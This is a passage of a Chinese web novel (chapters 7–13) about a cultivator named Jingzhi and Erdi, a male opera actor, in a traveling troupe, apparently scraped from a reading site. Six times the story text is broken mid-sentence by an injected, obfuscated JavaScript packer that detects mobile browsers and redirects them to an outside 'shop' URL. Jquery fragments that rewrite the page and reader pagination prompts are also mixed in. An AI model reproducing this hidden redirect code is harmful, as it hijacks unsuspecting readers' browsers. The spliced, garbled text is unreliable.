阿桂心中突然涌起一丝怜悯,刚欲趁虚而入,搂住她哭得一抽一抽的肩膀,好生抚慰一番,静之仿若后脑勺生有眼睛,身子一矮,避开他伸来的手,一下钻入离她最近的二娣身后,又转头暗暗瞪了阿桂一眼。 没想到她还含着泪花呢,这一眼不仅不凶,竟还透着几分娇憨。 阿桂: 嘿~就说她喜欢我吧,欲拒还迎~可真勾人! 他眉梢一扬,自认潇洒一个勾唇,上前一步刚想找她搭话—— 脚向左拐,二娣向左,脚向右拐,二娣向右。 阿桂啧了一声,暗暗剜一下二娣: “哎呀,你让开一下嘛。” 二娣环着胸,目露锋芒,刺得他不敢直视。 见阿桂眼神躲闪,反瞄向他身后,二娣眸光一转,突然持起一旁蒲扇挡在侧肩轻笑一声: “哎呦~人家小姑娘才刚进戏班子呢,你这么快就又看上了?” 阿桂眼皮一跳,暗叫不好,说什么 “又”,被她听见了怎么办? 他急切地寻找静之的身影,却透过二娣手中的扇面,直直对上她那愈发冷淡的眼眸,仔细瞧去,她的眼中果然流露出一丝厌恶。 完了。 她听出来了。 阿桂心凉了个透彻,这还没尝到甜头呢,鸭子就飞了。 二娣冷冷瞥他一眼,随即掐着窄腰,手帕往静之脸上轻轻一扬: “你随我来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086462|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ~” 随后转头,手帕又朝阿桂脸上一挥: “散了吧,我有话跟她说~” 手帕打到他脸上,竟有一丝痛感,他心里一紧,但看到静之的娇容,还是不甘心地张了张嘴,想要说些什么,班主猛叹一口气,跟着恨铁不成钢瞪他一眼把他拖走。 啧,要不是看在他这张脸能帮他多拉几个女客的份上,他早就把他赶出去了。 …… 另一边,被香香的帕子轻柔抚过脸蛋的静之,突然屏住呼吸,脸颊迅速涨红,甚至连耳朵都红透了。她情不自禁地伸手挠了挠脸,只觉得脸上痒痒的,仿佛有无数细小的虫子在爬动一般。 一步一扭腰的二娣走到棚侧,正要撩开帘子进入内间,可身后却并未传来任何脚步声。 他疑惑地回头看去,只见那静之正满脸通红地站在原地,眼神慌乱。 啧,真是不经撩。 “还不跟上~”二娣嘴角微微上扬,露出一抹坏笑,身体猛地一颤,直着手脚,抠着皱巴巴的衣角,扣着头磨磨蹭蹭走了过去。 “什,什么事?”静之结结巴巴地问道,声音低得几乎听不见。 然而,话刚说完,一个沉甸甸的木盆便被递到她手中,里头还放着一件沾满灰尘的红色戏袍: “班主不是叫你来照顾我的吗,喏,去河边洗干净,出门右拐,走几步就到~” 静之一惊,突然扬起头,看二娣只着白色中衣,解着脖间的盘扣,似乎准备换衣服,她抱着盆僵着脖子背过身去: “现在?天黑了诶。” 此时静之心里却在想,二娣妹子胸可真平,连对A都没有吧,真可怜…… “哦~?不想去啊?不想去我去跟班主说~” “去去去,马上去!” 她小心撩开布帘一角,闪身出去后,又将帘子掩得严严实实,这才转头朝泛起水光的河边走去…… 第8章 鬼?哪里? 见她竟然真的就这样转身离开,二娣不禁感到一丝错愕。 这种刁难都能接受,看来,她不是走投无路,就是心里有鬼。 正思索着,两根手指夹着布帘掀开,一颗半花不白的脑袋钻了进来,二娣抬眼望去,原来是去而复返的班主,此时正拧着眉看他。 二娣轻哼一声,转过身去,慢悠悠解着扣子,刚解两颗,就被骂得狗血淋头。 “我说你…人家一个女孩子,你让她大晚上的出去洗衣服,你!你到底是怎么想的?” 二娣转过身,敞着领口,微露出一点锁骨和平坦的胸膛,他依旧坦荡,只是随意地挥了挥手,将班主那根指着自己鼻尖的食指给拨开: “怎么,晚上就不能洗了吗?” 班主见他满不在乎那样儿,急得左右徘徊两步: “你!!” 他咬咬牙,凑近两步,指着他鼻头接着怒斥: “你别以为我不知道,你是想逼走她!” “……” 二娣眼神一暗,后退一大步避开他指尖,慢悠悠地走到一旁脸盆架旁,抽下白色的布巾打湿。 布巾被从水里轻柔捞起,拧了个半干直至无水滴出,黄色铜盆里水面涟漪渐渐消失。 透过澄澈见底的水,一张精致的戏妆突然映入眼帘。 二娣轻笑一声,用了点力气,拿起布巾一点一点擦去脸上的戏妆,澄澈的一盆水渐渐变得浑浊。 仿佛从浓墨重彩的油画变成寡淡素描,他的脸除了因刚才用力而留下的红色印记外,整个人跟褪色了一样,脸上肤色跟他白色中衣都快融为一体,就连用力揉搓过导致的殷红唇色,也随着时间推移,一点点恢复原本的苍白。 仿佛被卸掉面具般,他的表情也突然变得沉着,哪还有刚刚一颦一笑,娇俏可人的模样。 此时,他嘴紧抿着,思索几番,才慎重对着班主张口说道: “走了也好,我不需要人伺候。” 这里,总归不是一个姑娘家容身的好去处。 班主瞧一眼他的脸色,眉头皱得更紧了,似乎有些无奈地叹了口气。 他一甩袖子,转身走了出去,但走到门前时,脚步突然顿住了。 再次转过头来,眼神复杂地看着对方,再次提醒道: “她已经签了契约,这事儿板上钉钉,你就死了这条心吧。还有,那三个流氓我瞧着对她有意,你最好还是出去看看。” 说完,他深深地叹息了一声,摇了摇头,然后慢慢地走了出去。 年不过五十,那背竟是又佝偻了一点。 班主离开后,这狭窄的棚内一片寂静。 二娣默默瞧一眼门口,然后又慢慢转过身去,继续在水盆里搓揉着那块变得斑驳的布巾,动作比之刚刚,少了些淡定。 不知过了多久,二娣忽然停下手头的活计,手中的布巾猛地一甩,污浊的水花四溅,其中有几滴溅到了他白色的中衣上。 平日里他最爱干净,此时却浑然未觉,只是又从鼻间冷哼一声,转身揭开布帘,快步走了出去。 …… 另一头,戏已演完,正值散场的时候,人群三三两两走回街头,抱着水盆的静之不敢顶着这一头白发直直朝河边走。 她绕了一大圈,循着犄角旮旯的巷口,才寻到一处人烟稀少的临河角落。 这里房屋最高不过三四层,夜晚风有些大,河边更是如此,还带着一股冰凉的水汽,吹得静之眼前那棵歪脖子树的柳条都缠绕在一起。 她快走两步走到树下,把盆朝树根一放,胡乱把被风扬到脸上的发丝往旁边拨开,哪知又一阵风吹来,把她头发刮得更乱了,静之有些泄气。 跟自己的头发较劲了许久,依旧没有半点办法,于是打算速战速决。 她任由头发披着,就转身拿了那件红色袍子,打算抖一抖灰再放入水中清洗,刚捻起一点—— “啊啊啊!!!!!” 一声惨叫从身后响起,吓得静之脚一滑差点一头扎进河里。 她往后蹭了蹭,稳住身子,刚一回头,又是一声惨叫冲破耳膜,震得静之脑瓜子直嗡嗡。 “白发女鬼啊!!!!” 透过挡住她脸凌乱的白发,她仿佛能看到面前这男子的嗓子眼儿。 鬼? 哪里? 她放下衣袍,伸出小指想把头发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086463|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拨开仔细看看,怎料刚一动弹,那男子竟叫出了破锣嗓子,连滚带爬,抖着腿跑出去老远,眼尖的静之看到他胯间湿了一大片,原来那男子竟是被吓尿了去。 啧。 这鬼……不会是说她吧? 她回头看一眼幽深水面里的倒影。 白发,白衣,旁边一棵柳树,手中一件红色戏袍。 尤其是那头发,被风刮的都分不清正反面,还微微折射着月光,发出点点光芒。 一阵凉风吹来,静之不禁抖了一下,这恐怖片的buff……真真是叠满了。 她啧了一声,以免在吓到行人,于是打算加快速度,赶紧洗完了事。 她复而抓起戏袍快速一扽,灰尘四起,跟着落下的,是一条粉色帕子。 又一阵风刮来, 发丝扬得她睁不开眼,余光一角却看到那条帕子快被风卷走,她下意识迅速伸手捞回。 又呸呸几下,伸出小指把吹进她嘴角的头发撩出。 她的指尖轻轻磨蹭着那帕子,静之不知想到什么,仿佛心中有鬼似的,回头四下看了几眼。 见瞧不到旁人,她才放下衣服,扽平帕子捏成一条直线做绳,又把她的一头长发胡乱拢了拢,用帕子扎了起来。 口中念念有词: “妹子啊,我不是变态,借来用一下嘛,等会洗完衣服,帕子我再给你洗干净。” 话音刚落,后面传来一阵婉转的戏腔: “碎碎念什么呢~洗好了吗~” 静之浑身一震,余光刚瞄到一眼翘头绣花鞋,她就确认了来人。 要命! 偷摸用人家帕子扎头发,结果遇到当事人了。 她顿时僵在原地,大气也不敢出,就期盼着天色黑,他看不见那抹粉色。 怎料二娣也是习武之人,耳聪目明,只一眼,他就认出来,系在她发间的正是他的戏帕。 他莫名心跳漏了一拍,本想再调侃她两句,此时张了张嘴,竟是什么话也说不出来,只得转身匆匆离去。 静之有些茫然的看着她的背影。 话说……她到底是来干嘛的? 说句话就走了? 第9章 她该怎么面对二娣妹子 见她走得都没影了,静之皱了皱鼻子,突然被这夜晚的凉风吹得打了个细细的喷嚏,她搓了搓胳膊,继续蹲下把那衣服放进水里淘了两下水。 指尖触到冰凉河水的一刻,她下意识又往后捎了捎身子。 她…最怕水了。 手中无意识搓揉着衣服,脑海里却不由自主浮现出林风温柔的眼。 他可不会,大晚上的让她一个人来河边呢。 静之眼睛一热,又赶紧抬头快速眨眨眼,忍下翻涌上来的泪意,咬着牙将手伸进河水里接着洗。 现在他可不在这里,在这个人生地不熟的地方,可没人会心疼她了。 刚洗完衣服拧干,如黑色幕布般的夜空中突然滑落一颗流星状的东西,似有所感,静之抬头望去。 流星啊,许个愿好了。 于是她迅速放下衣服,双手合十,心中默念: 让我回去!让我回去!让我回去!! 重要的事儿说三遍!! 正闭眼许愿着,耳边突然传来呼啸声,仿佛有什么物体破空而来,正极速接近中。 她倏然睁眼,那点亮光越来越近,竟直直朝她这方飞了过来。 静之朝四周张望两下,刚想避过,仿佛察觉到她的意图,天际突然又射来一束白光怼向那金光,金光被撞上的一瞬,突然受力以更快的速度直直冲进她眉心。 一阵剧痛袭向脑仁,静之捂着头,身体不由自主地颤抖着。 她感到自己的头部像是要炸开一样,刚想提起灵气运转至头部,但还没来得及,就因无法承受这样的剧痛,两眼一翻晕了过去。 “静之姐姐!静之姐姐!快醒醒!” 不知过了多久,一道焦急的呼喊声突然在她脑海中响起。 静之拧着眉心,捂着一跳一跳的脑仁,挣扎着从地上坐了起来,缓缓睁开眼睛四处张望着,又抬头看看一旁的柳树寻找声音来源: “是谁?谁在说话?” “兹兹兹……别找了,我在你识海里!” 静之大惊失色,识海可是修行之人除了丹田,最重要的地方,她难道……要被夺舍了?! 于是她厉声呵斥: “你是谁!快从我识海里滚出去!” 边说着,她边盘腿坐下,沉下呼吸,刚要进入识海一探究竟。 那道跟接触不良一样的声音又响起,那稚嫩的童声,她莫名觉得有些熟悉。 “兹兹,我是金童,神君助我划破虚空进镜子里来了。” 识海里,一只纯白长绒的八尾灵猫注视着识海中心那道熟悉的魂体。 “你来干什么,阿风呢,他怎么不来?” 金童仿佛虚弱到不行,这会儿问话的功夫,他的魂体又淡了不少,他张了张嘴,声音越来越小: “这里进来就出不去了,神君还要照顾孩子呢,他不能来。” 静之急切凑了过去,想拽住他的衣袖,却发现手指头直直穿过那道虚影。 他…竟是虚弱到,连实体都维持不住了吗? 眼瞅着他变得越发透明,静之急急问道: “那我怎么出去,你快说!” “兹兹兹,姐姐,神君将你的毛发投入镜中看了过往,又忘记收回了。 这镜子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086464|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是我月老师父的,事关姻缘,你与神君已结了伴侣契约,所以你需陪神君度过各个前世,让他们说三次我爱你,才能继续到下一世去,当然,你也可以选择陪他们到寿终正寝。” “是凌风的前世还是林风的前世啊,你说清楚!” “林风。” “诶诶诶,你怎么了!” 看着眼前渐渐缩小身影的金童,她跟着凑近身子睁大了猫瞳瞅他。 金童细小又微弱的声音传入她耳中: “我躲开天地法则……来到这里,法力已然……殆尽,这就要……沉睡了,若有空闲,姐姐可将……修炼余出的……灵力,传与我……我便能舒……舒…………兹兹兹” 话未尽,他便彻底化成一粒金光浮在识海中心。 “靠!我还没问完呢!那个二娣到底是不是阿风啊!喂,金童!” 金光仿佛回光返照般,啪的一声细响亮了一下: “是,他们……长的……都一样……兹兹……” 说完,那金光却是渐渐消去光亮,化成一颗暗淡的珠子,眼瞅着就要掉下来,静之一个前扑将它稳稳接住。 紧接着又一个劈叉,白色猫猫弓着背部垂头丧气,一屁股坐在地上,看着两爪之间捧着的那颗珠子,垮着一张小猫批脸。 这辈子阿风可是个女孩子啊,可她……不想搞百合…… 啊啊啊! 她接下来要怎么面对二娣妹子啊!!! 她正在识海里咆哮着呢,脑子都快被这突如其来的消息搅得一团乱的时候,耳边突然传来熟悉的呼唤: “静之?静之?你醒醒!” 第10章 她还给他了 混乱的思绪被打断,她缓缓睁开眼皮,眼神却被近在咫尺的灯笼晃了一下,她眯了眯眼,又抬头看去。 哦,是班主。 她站起身来拍了拍裙子上的草屑,看了看月色,脑子还有些反应不过来,问道: “班主,这么晚了,你来这里干什么?” 班主没好气翻了个白眼,又把手中灯笼举到她脸旁边,仔细打量一下她的脸色: “你生病了?刚刚叫你半天你没应。” 她可不能病啊,不然二娣那个病秧子谁照顾。 静之有些尴尬,但刚刚那离奇的事儿她又不能如实相告,于是便假装伸了个懒腰,又打了个大大的哈欠,揉了揉眼睛,小动作不断: “没有没有,我没病,就是洗困了,我躺旁边睡会儿。” 班主低头看了看她脚边洗好的衣服,长叹一口气: “衣服洗好了就走吧,在这里睡会着凉的。” 静之见糊弄过去了,她喜滋滋抱起地上的盆跟在班主身后。 “静之啊……”班主脚步放缓,把垂着的灯笼往她脚旁去了去,照亮她的路,轻轻唤了一声,张了张嘴,好像很难说出口的样子,突然又闭上嘴,只一味的凝眉叹气。 “……怎么了?”她问。 他停下脚步,脸上带着忧思和些许歉意: “二娣那个人不是坏心,他只是…脾气犟,不愿让你照顾他,以后他若再刁难你,你……希望你多担待。” 毕竟她是他恩人,二娣又这样对她,他心里实在过意不去。 静之愣愣地看着他一脸忧愁的样子,总觉得事情没那么简单,于是她眼睛不着痕迹,却又万分细致观察着班主的表情,装作不经意问道: “班主,你对她还挺好的呢。” 话说,这班主…是不是跟二娣妹子有什么不可告人的秘密。 她又想听,又怕听到不想要的答案,两道细眉都要拧成结了。 他要是跟二娣有一腿,就等于跟阿风有一腿了,那她……要不要棒打鸳鸯啊? 正思索着,班主又悠悠叹了口气,接着缓缓前行,背着一手边说着: “你不知道,他唱戏好,功夫也好,就是有个缺点,身子骨弱。” 静之心里一个咯噔,又有些疑惑,于是转头望着那张在昏黄灯光下蹙起眉头的老脸问道: “可是我今天看他打架,一打三都绰绰有余了,瘦归瘦,还是很有力气的。” “力气是有,就是后劲儿不足,他不能太过劳累,你没看他今天打架只动手,没怎么动脚吗?” 静之回想了一下,发现还真是这样,她打架时不是坐椅子上,就是坐流氓背上。 “那…没找大夫调理调理?” “找过了,大夫说是娘胎里带来的,只能好生养着,所以我才找你来照顾他的嘛。” “……哦。”静之恍然大悟,心里却又突然浮起一抹忧思,她是想早点回去没错,但不想阿风的前世,因病早早去世,那得多可怜。 “哦,对了,班主,我……我有个不情之请。” 静之绞着盆里湿漉漉的帕子,硬着头皮说。 “你说。” “我想……我想,你能不能先预支我第一个月的月钱,我有急用。” 见班主一脸疑惑,她又急急解释:“你放心,我签了契约的,绝对不会跑掉,我会好好照顾二娣的。” 不知为何,班主竟是松了口气,他本就对她有所歉疚,见她提出请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086465|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求,他赶紧满口答应,又从那荷包里掏出一块碎银递给静之: “呐,给你。” 静之接过碎银有些懵逼。 这…是多少钱? 班主看她愣住,赶紧又掏了一块: “怎么?二钱不够花?我再给你预支一个月的?” 静之当即回过神,却又疑惑问道: “班主,你不是说第一个月工资减半吗,给我一钱就行。” 她把两块碎银都递了回去,班主摆了摆手:“不用,你留着,天色已晚,赶紧回去吧。” 说完,不等静之拒绝,他把手里的碎银及拎着的灯笼一并塞到静之手上,转身就朝已然黯淡寂静的戏台走去。 …… 静之拇指和食指捏着灯笼提棍,展开其余三指看了看手心的两块碎银,不禁叹了口气。 收人钱财,就得好好帮人办事啊。 她手掌一合,快步跟在班主后面。 穿过前方暗下来的戏台子,一路撩过几个化妆间和换装间的布帘,她看到班主正站在一小床旁等她,小床左边莫名放着一块屏风。 说是小床,其实就是一块薄薄的木板,底下架着几条长椅,木板上铺着一层薄被,床头还有个长条布枕,枕面中心花色相比两侧较浅,可见用了许久又被洗过多次。 静之打量一圈,发现戏班里三四十人都是这样睡的,一排排的,早已躺定,有睡得快的,竟已开始打起呼噜。 她索性吹熄灯笼内蜡烛,将灯笼挂在门前挂钩上,这才放轻脚步朝班主走了过去。 见她走到跟前,班主压低声音交代: 小主,这个章节后面还有哦,请点击下一页继续阅读,后面 更精彩! 第11章 原来是二娣弟弟 第二天一早,天刚蒙蒙亮。 二娣习惯性早早起来吊嗓子,刚扣好中衣的扣子,他就发现他放床底的另外一盆脏衣服不见了。 绕出屏风一看,静之不在,那小床上的被子叠得整整齐齐的。 这时早已起床的班主走了过来。 他眉眼舒展,逢人就笑,丝毫不见昨晚的忧愁神色,刚跟厨娘打了招呼,一转头就看到面色不太好的二娣。 “没休息好啊?”他问。 二娣拧着眉心,两条眉毛因要画戏妆,为了方便,竟被他自己仔细剃去了,眉弓又高,如今他做这个表情,越发显得凶了,他不耐的问: “我床底下的衣服呢?” 说到这个,班主又笑了笑,他扯着二娣一路来到棚后,指了指不远处的空地,二娣抬眼望去,只见那空地旁的两棵树中间绷着一条绳子,绳子上挂着还在滴水的一溜儿衣服。 那衣服眼熟得很,是他的。 他心里莫名有了个猜测,下一秒,班主证实了他的猜测。 “静之那个丫头起得够早啊,天刚亮,她就把你的脏衣服都拿去洗了。 还有啊,周婶去菜市场买菜也是她去帮忙提的,咱们这几十口人要用的菜,你也知道是真的多,她来回搬了好几趟呢,竟然一句累都没喊,是真勤快啊!” 说起静之今早的“功绩”,班主是滔滔不绝,眼瞅着他还要接着说下去,二娣赶紧抬手制止: “行了行了,知道你找了个好帮手,她人呢?” 他不由暗自庆幸,他有洗完澡就把亵裤一同洗了的习惯,不然他得挖个地洞把自个儿埋了去。 “哦,她去市集了,说是买点生活用品。” 二娣抿了抿苍白的嘴唇,又哼了一声,经过班主的时候,冷冷斜睨他一眼说: “你不是说,她是你请来照顾我的吗?” 班主僵在原地,他这是什么意思? 人家小姑娘勤快,他还气上了? 他被二娣盯得有些发毛,呐呐说了句:“我是这样说过没错。” 二娣叠了叠袖子,露出覆盖着薄薄肌肉的手臂,边说着边转身朝棚内走去: “给几份工钱,干几份活,你…别太过分。” 班主愣了一下,随即快步跟了上去,他暗暗打量二娣表情: “二娣啊,你看上她了?” 二娣突然止住步子,幽深的眼光打量着班主,直把班主看得头皮发麻,他才别过脸幽幽说着: “没有,不过是看不惯罢了。” 见他神色并无一点被戳破的羞意,班主放心下来的同时,却又开始发愁了。 静之这种好姑娘他都看不上,难道他要这样拖着这副身子自己单过一辈子吗? 二娣可不管他在想什么,告诫完他后,他回到自己卧铺旁,刚想拿起床边几上的小茶壶去倒点茶水,指尖一碰到壶身,一股暖意袭来。 二娣手指顿了一下,俯下身子轻轻揭开壶盖,壶盖刚启,一股茶叶清香扑鼻而来,他垂眼一瞧,里头淡黄的液体正微微荡着涟漪,却是干干净净,并无一片茶叶。 他有些犹豫似的,又把盖子盖上。脚却死死钉在地上,放于身侧的两指微微摩挲着,眼神有些少见的迷茫。 “娣哥,排戏了。”外面的人唤了一声。 二娣如梦初醒,不由紧了紧手,发现手心竟微微发汗。 他愣了一下,突然呲笑一声,暗道自己多想,大手随意抄起那小茶壶,对嘴就饮了一口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086466|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不算是好茶,入口却颇为顺滑,温度也是正好。 二娣空闲的另一只手,明明没有触到温暖的茶壶,却鬼使神差的,又开始发汗了。 …… 另一边,跟周婶转了一圈菜市场,摸清碎银价值的静之,此时成功买了几身成衣,成衣可比布匹贵了一近半价格,但她不会做衣服呀,只得咬咬牙把钱付了。 刚要走出店铺,老板娘突然叫住了她: “姑娘,我看你买成衣…做好的肚兜你要不要啊,我这也有自己绣的,你可以看看花色。” 边说着,她便从柜子下掏出几件水红色肚兜展开在柜面上。 静之拳捶掌心,对哦,差点忘记,她就说昨天怎么感觉怪怪的,原来是挂空挡了。得亏那女子的衣服一层又一层的,天色又黑,没被人看出来,不然她就得换个地球住了。 说到这个,她突然记起了正事,于是随意拿了两件肚兜,又叫老板娘按照她身上这套衣服的款式,拿了套差不多的成衣给她。 买了不老少,老板娘拿了两双素色的鞋袜做添头,又帮她细细包好,这才把几大包东西递给静之。 “谢了,我先走了!” “下次再来啊!” …… 她循着记忆,绕了好几个巷口,找到那姑娘家。 “衣服呢,弟弟,是不是你又偷穿去玩,弄脏了给我藏起来了?” “呜呜呜,我没有。” “还说没有,你以前老做这种事!” 静之透过门缝看去,一妙龄女子拿着细竹条正追着一小孩打,她面色一讪,赶紧拿出那额外包着的新衣服鞋袜悄悄放在门口。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第12章 原来是派通街啊 一旁的梁赞有些错愕: “进去哪?” 边说着,他边顺着二娣的眼神看过去。 静之哗的一声放下布帘子,心跳莫名加快,过了两秒,她觉出不对劲来了。 不对啊,她怕个卵,梁赞都没看过她脸,才不知道她就是那猫妖……呸,灵猫呢! 她撇了下嘴,一敲额头,暗骂自己一惊一乍,手指又摸上那布帘一角。 “啧。” 刚露出一只眼睛,就听到二娣不耐的轻啧,她鬼使神差地,又放下捏在指尖的帘子。 放下的一瞬间,她又暗觉丢脸,于是干脆拽住布料,哗的一声大力掀起,并雄赳赳气昂昂,大步走了出去手环着胸站在一旁。 哼! 她才没做错事,怕他一个弟弟干啥。 这般思索着,她的眼眸并未理会那投来满脸狐疑之色的梁赞,反倒是目不转睛地直视着对面的二娣。 二娣轻瞥了她一眼,拿起蒲扇掩住嘴唇轻笑出声。 可笑至极。 他已在这舞台上演戏长达十数年之久,前来观戏的宾客不计其数,岂会畏惧被她窥视?! 因此,他的眼神并未回避,反倒如同一场瞪眼比赛般,微微挑起眉弓,直直地回视过去。 刹那间,两人的目光犹如火星四溅,二娣轻柔的举动以及顾盼之间流露出的俏丽之意,竟能瞥见几分昨晚女旦的风韵。 静之见他如此坦然地望过来,自己反倒首先败下阵来,她迅速移开视线,低垂着头,除了几分羞意之外,更多的却是失落和对未来的迷茫。 只因在他的眼中,除了那份淡然,或许还带有一丝调侃,但却毫无半分情意。 她心中莫名感到一阵刺痛,那种感觉就像是被蜂尾针刺了一般,令人抓耳挠腮、难受至极。 …… 见二娣还盯着那个莫名出现的女子瞧,梁赞有些不耐烦,他把袖子往上一撸,双手叉腰,略带几分挑衅之意扬声道: “今天我就是那个帮手,你怕啊?” 二娣眼神暗了一瞬,却是轻笑一声: “哎呦~奴家怕得浑身都哆嗦呢~”,边笑着,他还朝身后的乐器班成员轻轻扬了一下手中的扇子:“是不是啊~” 那乐器班年均五十,已是知天命的年纪,早就走遍江湖,一个赛一个的人精,哪里听不出二娣言语中的调笑,且二娣的身手,他们也是知道的。 反正一大清早的,有人非要给把自己当乐子送上门,那他们何不瞧上一瞧呢? 于是一个个的皆大笑出声,顺便各自对视一眼,奏出几声搞笑的配乐附和二娣。 他们这一闹,直把梁赞气得又臊得满脸通红,也不环着胸了,双手一放,拳头捏的嘎嘣响,牙根子都快磨出火花了: “笑什么,你们知不知道我是谁!” 还没人回话呢,梁赞身边弓着身子给他打扇的狗腿子急不可耐上前一步,趾高气昂地朝众人介绍: “他叫梁赞,人称佛山赞少爷!” 此言一出,二娣一脸恍然大悟,眼里却闪过一丝戏谑: “哦~原来有名那个派通街那个败家仔就是你啊~” 正主还没说话呢,狗腿子易通财满脸愤怒,又暗暗打量一下主子的脸色,发现他脸黑得不行,又带着几分怀疑,通财急了,他又上前一步急急说道: “诶诶,什么派通街,他叫打通街!” 梁赞那刚刚因被嘲笑而萎下去的胸膛瞬间又挺了起来: “好说了,我在佛山大大小小打过两百多回架,每次都打赢,这还不叫打通街?!” 二娣嗤笑一声,仿佛听到了世界上最可笑的事情,他摇曳着身子缓缓走了过来: “我听到了可不是这样,人家说你们家里到处派钱叫人故意输给你,就怕断了你们梁家的根啊。” 此话一出,周边人瞬间都嘘声了,乐班的二胡也不拉了,周围就算一根针掉在地上都能听见。 静之瞬间也恍然大悟。 难怪了! 上次在酒楼,她就觉得那群人打架打得束手束脚的,原来还有这茬。 梁赞觉得周围那一道道看过来的视线仿佛是对他无声的嘲笑,震耳欲聋,他死死咬着牙,胸口不断起伏着,气急败坏直指二娣:“你!你胡说! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086467|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 事情暴露,通财慌了,他不住揉着梁赞胸口: “少爷,别生气别生气,小心身体,让我跟他谈一谈!” 他袖子一撩,昂首挺胸来到二娣面前,身子却又突然一缩,语气满是讨好,他小声说着: “喂,嘴下留情,待会儿多给你一份。” 二娣觑他一眼,浅笑一声,边慢悠悠走着:“是吗,给多少~” 通财见有戏,紧随其后,一脸讪笑:“公价,一拳一两,躺下五两,吐血五十两!” 话音刚落,静之脚下一动。 好家伙! 她一个月才二钱月银呢,被他捶一下,她可以少干五六个月,这买卖能做啊! 她刚想上前,二娣轻飘飘斜过来一眼。 静之却仿佛被无形警告了一下,蠢蠢欲动的脚又莫名缩了回去。 二娣:呵, 傻子。 瞧她缩在布帘边跟个鹌鹑似的,二娣终于忍不住笑出声来,这笑真实了不少。 通财却以为他答应了,他心中一喜又凑了上去,却没想到二娣已然走到梁赞跟前,他修长的手指一转,拿扇柄轻轻点了几下梁赞的肩: “呐,你的跟班现在又想收买我了,说好价钱,就不把你丑事抖露出来。” 梁赞一脸不可置信瞪着通财,通财虽是他家下人,但他一向当他是兄弟,却没想到他竟联合外人来骗他。 通财眼神躲闪,见二娣还在一边笑,他当即变了脸色:“你,你这个王八蛋!” 伴随着一句怒骂,他捏紧拳头一个直拳就朝二娣砸了过去。 二娣翩然一个转身,三根手指捏住他手腕,通财咬着牙往外抽了抽,却纹丝不动。 “你还不快放手!” “我不放啊~”二娣抿着嘴一脸无辜,又朝他眨眨眼,手中依旧紧紧捏着他手腕。 “你真的不放手?!” 通财涨红了脸,跟拔河似的,侧身一脚向前,使劲全身力气往外抽,二娣嘴角一勾,趁他使力的时候,突然那么一撒手,脚下同时一勾他绷着的脚—— “哎呦!我的妈呦!” 第13章 二娣VS梁赞 通财一个失力跌到梁赞脚下,捂着尾椎蜷缩成一团,嘴里发出杀猪般的哀嚎声。 